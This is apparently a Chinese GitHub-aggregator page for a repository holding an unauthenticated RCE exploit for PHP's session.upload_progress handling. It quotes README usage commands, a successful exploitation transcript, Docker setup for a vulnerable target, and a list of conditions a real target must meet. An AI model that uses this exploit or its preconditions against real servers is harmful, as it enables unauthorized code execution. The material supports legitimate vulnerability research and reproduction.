跳到正文

正在自动登录…

← 返回项目列表

junaire/CVE-2026-109618-exploit

漏洞利用安全研究环境复现

这是一个针对PHP核心session.upload_progress漏洞的未授权远程代码执行利用工具,包含exploit脚本和可复现漏洞环境的Docker配置,适用于安全研究人员在授权环境中复现和测试漏洞。

AI 中文解读 · 根据仓库描述与 README 生成 · 2026/10/22 01:36:10 · 查看原文

普通Python开发工具
累计 Stars
115
当前热度
1 天内 · 小火
仓库创建时间
打开 GitHub ↗

选用指南

AI 根据 README 整理 · 2026/10/22 01:36:10

使用方式

通过命令行使用exploit.py,可指定目标主机、端口和命令,并通过--gadget和--prop参数选择不同的gadget类。

查看 README 依据
python3 exploit.py 127.0.0.1 8080 "id; uname -a" python3 exploit.py 127.0.0.1 8080 "cat /etc/hostname" --sid deadbeef0000000000000000000caf python3 exploit.py host port "cmd" --gadget Monolog --prop target # real-target gadget ``` Verified transcript against this environment (PHP 8.2.34-fpm): ``` $ python3 exploit.py 127.0.0.1 8080 "id; uname -sr" [1] seed POST /app/seed.php -> HTTP 200 [2] fire GET /api/app.php -> HTTP 200 [gadget] uid=33(www-data) gid=33(www-data) groups=33(www-data) Linux 7.2.9-... [+] command output seen — RCE confirmed ```
部署要求

需要Python 3运行exploit.py,并使用Docker构建和运行靶机环境。

查看 README 依据
exploit.py the exploit (stdlib only) Dockerfile vulnerable target environment: nginx + php-fpm 8.2.34 nginx-site.conf target vhost webroot/app/ seed dir (.user.ini -> session.serialize_handler=php_serialize) webroot/api/ fire dir (.user.ini -> php), Logger gadget class ``` ## Usage ```bash # 1. build & start the target environment docker build -t cve-2026-109618-exploit . docker run -d --name cve618 -p 8080:80 cve-2026-109618-exploit # 2. verify it is up curl http://127.0.0.1:8080/api/app.php # -> [api] session started # 3. exploit
已知限制

利用要求目标启用session.upload_progress且cleanup设为Off,存在两个不同serialize_handler的目录,并加载了具有有用__destruct方法的类,payload必须放在PHP_SESSION_UPLOAD_PROGRESS字段值中,因为分片头行限制约5KB。

查看 README 依据
The command output appears in the trigger response: `__destruct` (and thus `system()`) runs during `session_start()`'s decode-failure cleanup, before the script body — followed by the expected `Failed to decode session object. Session has been destroyed` warning. ## What a real target needs | Condition | Why | |---|---| | `session.upload_progress.enabled=On` (default) | the injection channel | | `session.upload_progress.cleanup=Off` | keeps the seeded payload on disk (with the default `On` only a race window remains) |
| two reachable dirs with different `session.serialize_handler` (`.user.ini` / `.htaccess`) | write side php_serialize, read side php — the `|` split | | a class with a useful `__destruct` loaded when `session_start()` runs (app code, `opcache.preload`, `auto_prepend_file`) | the RCE gadget; `--gadget/--prop` to match it | | `session.use_strict_mode=0` (default) | attacker-chosen session id via the POST `PHPSESSID` field (bypasses `use_only_cookies`) | Note: the payload must ride the **`PHP_SESSION_UPLOAD_PROGRESS` field value**,
not the uploaded filename — multipart part-header lines are capped at ~5 KB and truncate larger payloads. ## Disclaimer For authorized security testing and research only. Run it against your own test environments or systems you have explicit permission to test.

README

正在加载 README…

收录信息

仓库创建时间
2026/10/21 19:52:39
首次达标收录
2026/10/22 01:31:27
统计更新时间
2026/10/22 19:01:03

按创建时长与累计 Stars 判断等级。首次达标收录后,即使未达当前门槛仍保留;累计 Stars 和仓库状态会定期更新。确认只有 README 及辅助文件的仓库会停止公开。

模型评估

普通加权总分 3.5 / 5

新颖度
3.0
实用价值
3.5
成熟度
4.2
实质含量
3.9

由 Jev 模型根据仓库描述与 README 评估,2026/10/22 01:31:27 生成。评分仅供参考,不是代码、安全或许可证审查;热度等级另按创建时长与累计 Stars 计算。

仓库信息

最近推送
2026/10/21 19:52:57
许可证标识
未识别,请查看仓库说明
Fork 数
70
当前状态
未归档

收录记录

按创建时长与累计 Stars 首次收录:小火
首次发现项目